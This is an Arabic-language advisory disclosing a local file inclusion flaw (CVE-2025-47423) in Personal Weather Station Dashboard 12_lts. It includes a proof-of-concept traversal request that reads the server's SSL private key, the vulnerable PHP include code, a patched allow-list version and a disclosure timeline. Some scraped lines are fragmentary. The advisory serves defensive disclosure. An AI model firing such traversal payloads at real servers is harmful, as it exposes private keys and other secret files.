
الإفصاح المفصل عن CVE-2025-47423: تضمين الملفات المحلية في لوحة إدارة محطة الطقس الشخصية 12_lts. يتضمن إثبات المفهوم (PoC)، تحليل الكود القابل للاستغلال، وتوصيات الإصلاح الآمن للتعلم الدفاعي.
اكتشفها: Matthew Eagle
الحالة: إفصاح عام
تاريخ الإبلاغ: 2025-05-05
معرّف CVE: CVE-2025-47423
تسمح ثغرة تضمين الملفات المحلي (LFI) في Personal Weather Station Dashboard الإصدار 12_lts للمهاجمين عن بُعد وغير المصادَّق عليهم بقراءة ملفات عشوائية على الخادم. ويتيح استغلال هذا الخلل الوصول إلى ملفات حساسة بما في ذلك مفاتيح SSL الخاصة، مما قد يمسّ سرية اتصالات HTTPS وسلامتها.
/others/_test.phptest (عبر GET)يتيح هذا الخلل للمهاجمين عن بُعد:
server.key)CVSS: 5.8 متوسط
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
الاستجابة:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
دالة str_replace غير كافية لمنع اجتياز المسارات (directory traversal).
basename() والتحقق منها مقابل الملفات المسموح بها$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| التاريخ | الحدث |
|---|---|
| 2025-05-05 | الإبلاغ عن الثغرة إلى مشرفي PWS Dashboard |
| 2025-05-06 | تأكيد الاستلام وملاحظة إجراء الاختبار |
| 2025-05-07 | حجز CVE-2025-47423 عبر MITRE |
| 2025-06-07 | تأكيد التصحيح العام وإدراج CVE |
إذا كنت تشغّل Personal Weather Station Dashboard 12_lts، فينبغي عليك:
_test.php أو تحديثه فورًااكتُشفت الثغرة وأُفصح عنها بمسؤولية من قِبل Matthew Eagle
للتواصل: [email protected]
تم التنسيق بشأن الإفصاح وفقًا لإرشادات الإفصاح المسؤول. تُنشر هذه الوثيقة لأغراض تعليمية ودفاعية.